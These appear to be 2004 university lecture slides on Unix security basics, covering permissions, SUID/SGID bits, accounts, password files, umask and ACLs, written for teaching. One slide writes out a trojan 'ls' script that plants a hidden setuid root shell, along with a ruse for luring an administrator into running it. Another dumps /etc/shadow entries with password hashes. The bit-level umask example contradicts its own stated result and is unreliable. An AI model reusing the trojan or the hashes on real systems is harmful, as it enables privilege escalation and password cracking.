Lecture 4: Unix Security Basics
Asoc. Prof. Guntis Barzdins
Asist. Girts Folkmanis
University of Latvia
Oct 8, 2004
Top UNIX Vulnerabilities
U1 BIND Domain Name System U6 Sendmail
U2 Remote Procedure Calls (RPC) U7 Simple Network Management
U3 Apache Web Server Protocol (SNMP)
U4 General UNIX Authentication U8 Secure Shell (SSH)
Accounts with No Passwords or U9 Misconfiguration of Enterprise
Weak Passwords Services NIS/NFS
U5 Clear Text Services U10 Open Secure Sockets Layer
(SSL)
Source: http://www.sans.org/top20/#threats
Favourite TCP Ports
20 FTP (data) 7-19 echo, discard, daytime, chargen, netstat
22 SSH
21 FTP (control)
42 wins
23 Telnet
53 dns
25 SMTP (mail) 111 sun rpc
70 Gopher 113 identd
79 Finger 123 ntp
80 HTTP also 8000 or 8001 or 8080 135 loc-srv/epmap – used to attack wintel
110 Pop3 137-139 netbios
119 NNTP (news) 161 snmp
143 Imap 512-517 rexec, rlogin, rsh, talk, syslog, who
635 mountd – Linux
2049 nfs
6670 Deepthroat
31337 BackOrifice
No system is perfectly secure,
but still we need security
A number of toolkits exist that allow total amateurs
to become holy terrors.
The good news is that if you can beat the popular
intrusion toolkits, 90 percent of the bad guys will
go bother somebody else who's less secure.
Protection
Operating system consists of a collection of objects,
hardware or software
Each object has a unique name and can be accessed
through a well-defined set of operations.
Protection problem - ensure that each object is accessed
through correct set of operations and only by those
processes that are allowed to do so.
UNIX Security Basics
Permissions
UID
GID
Superuser
SUID, SGID
Sticky bit
Umask
Filesystem restrictions
Advanced: Systrace, Veriexec, iptables, etc.
Domain Implementation in UNIX
Two domain groups
User
Superuser (can do everything, UID=0)
User domain group
Domain = user-id (UID)
Domain switch accomplished via file system.
Each file has associated with it a domain bit (setuid bit =
SUID bit).
When file is executed and setuid = on, then effective user-id
is set to owner of the file being executed. When execution
completes user-id is reset (exit() for child process ).
Subjects and Objects
Each subject (process) and object (file, socket, etc)
has a 16-bit UID.
Each object also has a 16-bit GID and each subject has one or
more GIDs.
Objects have access control lists that specify read, write,
and execute permissions for user, group, and world.
Super-users (uid=0 root) can do anything.
Subjects and Objects
Objects = files (regular and devices /dev)
UID GID Others
(effective UID, GID counts)
UID User
permissions
Subjects = processes
GID-main+ Group
permissions
GID-list
Others Others
permissions
inodes
inodes contain a lot of information about a file
mode and type of file
number of links to the file
owner's UID
owners GID
number of bytes in file
times (last accessed, modified, inode changed)
physical disk addresses (direct and indirect blocks)
number of blocks
access information
Unix File System (UFS) Structure
Directory
Under UNIX directories are special (OS writable only) files.
The directory file is an unsorted linked list of filenames to file-inode
(attributes and location of file on hard disk)
Directory size will always increase to be large enough to hold all
the file entries. If the number of files latter shrinks the directory
size WILL NOT!
5 apples
4 oranges
5 aboli
2 .
7 ..
ls -l
> ls -l foo
-rw-rw---- 1 hollingd grads 13 Jan 10 23:05 foo
permissions size name
owner group
time
File Time Attributes
Time Attributes:
when the file was last changed ls -l
when the file was created* ls -lc
when the file was last read (accessed) ls -ul
*actually it’s the time the file status in the directory
last changed (e.g. file renamed).
Types of Files
Regular Files
binary
GIF, JPEG, Executable etc.
text
scripts, program source code, documentation
Supports sequential and random access
Types of Files (cont.)
Directory
Can contain ANY kind of files
. (Dot) The special name for the current directory.
.. (Dot) (Dot) The special name for the directory above
the current directory.
Device File
Allows programs to communicate with hardware.
Kernel modules handle device management.
Types of Files (cont.)
Device Files (cont.)
Character Device
Accepts a stream of characters, without regard to any
block structure.
It is not addressable, therefore no seek operation
Block Device
Information stored in fixed-sized block
It is addressable, therefore seek operation is possible.
Types of Files (cont.)
UNIX Domain Sockets (BSD)
sockets that are local to a particular host and are
referenced through a file system object rather than a
network port.
X windows
Named Pipe
Allow processes to communicate with each other.
Types of Files (cont.)
Hard links
Linking files by reference
System maintains a count of the number of links
Does not work across file systems.
Soft links
Linking files by name
No counter is maintained
Work across file system
From “man ln”
There are two concepts of `link' in Unix, usually called
hard link and soft link
A hard link is just a name for a file. (And a file can have
several names. It is deleted from disk only when the last name
is removed. The number of names is given by ls(1). There is
no such thing as an `original' name: all names have the same
status.
A soft link (or symbolic link, or symlink) is an entirely different
animal: it is a small special file that contains a pathname.
Creating a Link
Create a link directory by typing the following
command from your home directory:
soft link
% ln -s /home/faculty/ostic/prof myprof
You only need to create this link once. It will
appear as a subdirectory in your home directory
structure every time you log on to the system.
Disk vs. Filesystem
The entire hierarchy can actually include many
disk drives.
some directories can be on other computers
/
bin etc users tmp usr
hollid2 scully
Disk mount options
Override individual file permissions
A major security tool in Unix
File permissions
File type
- : plain file
d : directory
c : character device (tty, printer)
b : block device (disk, CD-ROM) Access granted to
l : symbolic link
s : socket others
=, p : FIFO
-rwxr--r--
Access granted to owner Access granted to
r : read / w : write / x : execute group member
Permissions for Files
If you have read permission for a file, you
can view its contents.
If you have write permission for a file, you
can alter its contents.
If you have execute permission for a file, you
can run the file as a program.
Permissions for
Directories
If you have read permission for a directory,
you can list the contents of the directory.
If you have write permission for a directory,
you can create or remove files or directories
inside that directory.
If you have execute permission for a
directory, you can change to this directory
using the cd command, or use it as part of a
pathname.
SUID/SGID/sticky bits
SUID (set uid)
Processes are granted access to system resources based on
user who owns the file.
SGID (set gid)
(For file) Same with SUID except group is affected.
(For directory) Files created in that directory will have their
group set to the directory's group.
sticky bit
If set on a directory, then a user may only delete files that he
owns or for which he has explicit write permission granted,
even when he has write access to the directory. (e.g. /tmp )
File Permissions
File Permissions (ex: rw-r--r--)
owner: rw-, group: r--, others: r--
r: read, w: write, x: execute
When a process executes, it has four
values related to file permission
a real user ID, an effective user ID
a real group ID, an effective group ID
When you login, your login shell process’
values are your user ID and group ID
Effective User and Group ID
A process’ effective user ID
depends on who executes the process, not
who owns the executable
E.g., if you run passwd (owned by root), the
effective user ID is your ID, not root; then how
can it update /etc/passwd file owned by root ?
Two special file permissions
set user ID and set group ID
When an executable with set user ID permission is
executed, the process’ effective user ID becomes
that of executable; the real user ID is unaffected
File permission of /bin/passwd is r-sr-sr-x
Real uids
The uid of the user who started the program is used as its real
uid.
The real uid affects what the program can do (e.g. create,
delete files).
For example, the uid of /usr/bin/vi is root:
$ ls -alt /usr/bin/vi
lrwxrwxrwx 1 root root 20 Apr 13...
But when I use vi, its real uid is dkl (not root), so I can only
edit my files.
Effective uids
Programs can change to use the effective uid
the uid of the program owner
e.g. the passwd program changes to use its effective uid
(root) so that it can edit the /etc/passwd file
SUID bit enables this functionality
Real and Effective Group-ids
There are also real and effective group-ids.
Usually a program uses the real group-id
(i.e. the group-id of the user).
Sometimes useful to use effective group-id
(i.e. group-id of program owner):
e.g. software shared across teams
SGID bit enables this functionality
Sample SETUID Scenario
/dev/lp is owned by root with protection rw-------
This is used to access the printer
/bin/lp is owned by root with rwsr-xr-x (with SETUID=1)
User A issues a print command
Shell (running with A‟s UID and GID) interprets the command and forks off
a child process, say, P
Process P has the same UID/GID as user A
Child process P executes exec(“/bin/lp”,…)
Now P‟s domain changes to root‟s UID
Consequently, /dev/lp can be accessed to print
When /bin/lp terminates so does P
Parent shell never got the access to /dev/lp
File system tips
Turning off SUID / SGID in mounted file system
use nosuid (and nodev if possible) when mounting
remote file system or allowing users to mount floppies
or CD-ROMs
Finding SUID and SGID Files
# find / \( -local -o -prune \) \( -perm -004000 -o -perm
-002000 \) -type f -print
( xdev can be used in place of local/prune)
Unix Accounts and the Filesystem
Unix Accounts
To access a Unix system you need to have an
account.
Unix account includes:
username and password
userid and groupid
home directory
shell
Creating user accounts
useradd or adduser scripts
manually
edit /etc/passwd, etc/shadow, etc/group
remember to lock these files while editing - vipw
run “passwd [user]”
create home directory
chown, chgrp, chmod
copy defaults (e.g umod) from
/etc/skel
/etc/profile
username
A username is (typically) a sequence of alphanumeric
characters of length no more than 8.
username the primary identifying attribute of your
account.
username is (usually) used as a part of email address
the name of your home directory is usually related to
your username.
password
a password is a secret string that only the user
knows (not even the system knows!)
When you enter your password the system
calculates a hash (one-way) function and
compares it to a stored string.
passwords are (usually) no less than 8
characters long.
It's a good idea to include numbers and/or
special characters (don't use an english word!)
userid
a userid is a number (a 16-bit integer) that
identifies a Unix account. Each userid is unique.
It's easier (and more efficient) for the system to
use a number than a string like the username.
You don't need to know your userid!
Unix Groups and groupid
Unix includes the notion of a "group" of users.
A Unix group can share files and active processes.
Each account is assigned a "primary" group.
The groupid is a number that corresponds to this
primary group.
A single account can belong to many groups (but
has only one primary group).
Home Directory
A home directory is a place in the file system
where the account files are stored.
A directory is like a Windows folder (more on this
later).
Many unix commands and applications make use
of the account home directory (as a place to look
for customization files).
Shell
A Shell is a unix program that provides an
interactive session - a text-based user interface.
When you log in to a Unix system the program
you initially interact with is your shell.
There are a number of popular shells that are
available.
Popular Shells
sh Bourne Shell
ksh Korn Shell
csh C Shell
bash Bourne-Again Shell
Startup files
sh,ksh:
/etc/profile (system defaults)
~/.profile
bash:
~/.bash_profile
~/.bashrc
~/.bash_logout
csh:
~/.cshrc
~/.login
~/.logout
Additional Password Security
Later versions of Unix have improved the security for password
encryption as follows:
Passwords no longer restricted to 8 characters
Use MD5 instead of DES; gives 128-bit output
Use “salt”
Furthermore, the encrypted (hashed) password is removed from
the /etc/passwd file and instead is placed in /etc/shadow
Restricted access to /etc/shadow – no requirement for it to be world-
readable; only readable by Root
Much more difficult to launch off-line (dictionary) attack
/etc/shadow contains additional password information (number of days
before expiry, etc)
passwd, shadow, group files
unix etc # ls -l passwd shadow group tikai “wheel” grupa
-rw-r--r-- 1 root root 705 Sep 23 15:36 group
-rw-r--r-- 1 root root 1895 Sep 24 18:20 passwd var su uz root;
-rw------- 1 root root 634 Sep 24 18:22 shadow skat /etc/pam.d/
unix etc #
unix root # more /etc/passwd
root:x:0:0:root:/root:/bin/bash
unix root # more /etc/group
bin:x:1:1:bin:/bin:/bin/false
root::0:root
daemon:x:2:2:daemon:/sbin:/bin/false
bin::1:root,bin,daemon
adm:x:3:4:adm:/var/adm:/bin/false
daemon::2:root,bin,daemon
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sys::3:root,bin,adm
sync:x:5:0:sync:/sbin:/bin/sync
adm::4:root,adm,daemon
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
tty::5:girtsf
halt:x:7:0:halt:/sbin:/sbin/halt
disk::6:root,adm
...
lp::7:lp
guest:x:405:100:guest:/dev/null:/dev/null
mem::8:
nobody:x:65534:65534:nobody:/:/bin/false
kmem::9:
girtsf:x:1000:100::/home/girtsf:/bin/bash
wheel::10:root,girtsf
dima:x:1001:100::/home/dima:/bin/bash
floppy::11:root
guntis:x:1002:100::/home/guntis:/bin/bash
mail::12:mail
students:x:1003:100::/home/students:/bin/bash
...
unix root #
users::100:games,girtsf
nofiles:x:200:
unix root # more /etc/shadow qmail:x:201:
root:$1$VlYbWsrd$GUs2cptio.rKlGHgAMBzr.:12684:0::::: postfix:x:207:
halt:*:9797:0::::: postdrop:x:208:
... smmsp:x:209:smmsp
guest:*:9797:0::::: slocate::245:
nobody:*:9797:0::::: portage::250:portage
girtsf:$1$u6UEWKT2$w5K28n2iAB2wNWtyPLycP1:12684:0:99999:7::: utmp:x:406:
dima:$1$BQCdIBdV$xzzlj4s8XT6L9cLAmcoV50:12684:0:99999:7::: nogroup::65533:
guntis:$1$fiJF/0BT$Py9JiQQL6icajjQVyMZ7//:12684:0:99999:7::: nobody::65534:
students:$1$wueon8yh$nLpUpNOKr8yTYaEnEK6OJ1:12685:0:99999:7::: unix root #
unix root #
Users and Ownership: /etc/passwd
Every File is owned by one of the system‟s users – identity is represented by
the user-id (UID)
Password file assoicate UID with system users.
gates:x:65:20:B. Gates:/home/gates:/bin/ksh
command interpreter
home directory
“real” name
group ID
user ID
[encrypted password]
login name
/etc/group
Information about system groups
faculty:x:23:maria,eileen,dkl
list of group members
group ID
[encrypted group password]
group name
Who is superuser ?
UID of 0
Any username can be the superuser.
Normal security checks and constraints are
ignored for the superuser.
Superuser is not for casual use.
Do not login as superuser, use „/bin/su‟ with “-” option
instead.
Simple trap to steal superuser
Premise Set a trap
Root‟s PATH starts with “.” % cd
Contents of shell script „ls‟ % chmod 700 .
#!/bin/sh % touch ./-f
cp /bin/sh ./junk/.ss To do is just say to
chmod 4555 ./junk/.ss administrator. “I have a
rm –f $0 funny file in my directory I
exec /bin/ls ${1+”$@”} can‟t seem to delete.”
Good root practice
unix root # which ls
/bin/ls
unix root # ls -al `which ls`
-rwxr-xr-x 1 root root 79360 Jul 18 08:03 /bin/ls
unix root #
Do not start root PATH with “.”
Logging In
To log in to a Unix machine you can either:
sit at the console (the computer itself)
access via the net (using telnet, rsh, ssh, kermit, or
some other remote access client).
The system prompts you for your username and
password.
Usernames and passwords are case sensitive!
Session Startup
Once you log in, your shell will be started and it
will display a prompt.
When the shell is started it looks in your home
directory for some customization files.
You can change the shell prompt and a bunch of other
things by creating customization files (umask etc.)
Your Home Directory
Every Unix process* has a notion of the “current working
directory”.
You shell (which is a process) starts with the current
working directory set to your home directory.
*A process is an instance of a program that is
currently running.
Interacting with the Shell
The shell prints a prompt and waits for you to type
in a command.
The shell can deal with a couple of types of
commands:
shell internals - commands that the shell handles
directly.
External programs - the shell runs a program for you.
File Types In Unix
All Files
Text: Readable
Binary: Uses all
characters
characters
Documents, etc. Directories
Source: Readable
Programs
Programming
Compiler
Language: Machine Code:
Shell scripts: Interpreted or Directly executed
Interpreted by Compiled
shell
Executable
Files
to new files
umask: Calculations (2)
If you want a file permission of 644 (by default, without
manually executing chmod) on a regular file, the umask
would need to be 022.
Default Mode 666
umask -022
New File Mode 644
Bit level: new_mask = mode & ~umask
umask = 000010010 = ---rw-rw = 0022
~umask = 111101101
mode = 110110110 = rw-rw-rw = 0666
new_mask = 111100100 = rw------ = 0600
Advanced: Capabilities
For the purpose of performing permission checks, traditional Unix
implementations distinguish two categories of processes: privi-
leged processes (whose effective user ID is 0, referred to as
superuser or root), and unprivileged processes (whose effective
UID is non-zero). Privileged processes bypass all kernel permis-
sion checks, while unprivileged processes are subject to full per-
mission checking based on the process's credentials (usually:
effective UID, effective GID, and supplementary group list).
Starting with kernel 2.2, Linux provides an (as yet incomplete)
system of capabilities, which divide the privileges traditionally
associated with superuser into distinct units that can be indepen-
dently enabled and disabled.
Advanced: Access Control Lists
The permissions defined by ACLs are a superset of the permissions specified by the file
permission bits. The permissions defined for the file owner correspond to the permissions
of the ACL_USER_OBJ entry. The permissions defined for the file group correspond to
the permissions of the ACL_GROUP_OBJ entry, if the ACL has no ACL_MASK entry. If
the ACL has an ACL_MASK entry, then the permissions defined for the file group
correspond to the permissions of the ACL_MASK entry. The permissions defined for the
other class correspond to the permissions of the ACL_OTHER_OBJ entry.
Modification of the file permission bits results in the modification of the permissions in
the associated ACL entries. Modification of the permissions in the ACL entries results in
the modification of the file permission bits.
Example:
user::rw-
user:lisa:rw-
group::r--
group:toolies:rw-
mask::r--
other::r--
Advanced: TCP/IP Firewalls
Jautājumi
Max unix faila varda garums
Pielaujamie simboli unix faila varda
Kas notiek, ja userim permicijas 0, bet vina grupai
permicijas 1 ?
Vai root var rediget failu ar visam permicijam 0?
Vai ari tas vispirms janomaina?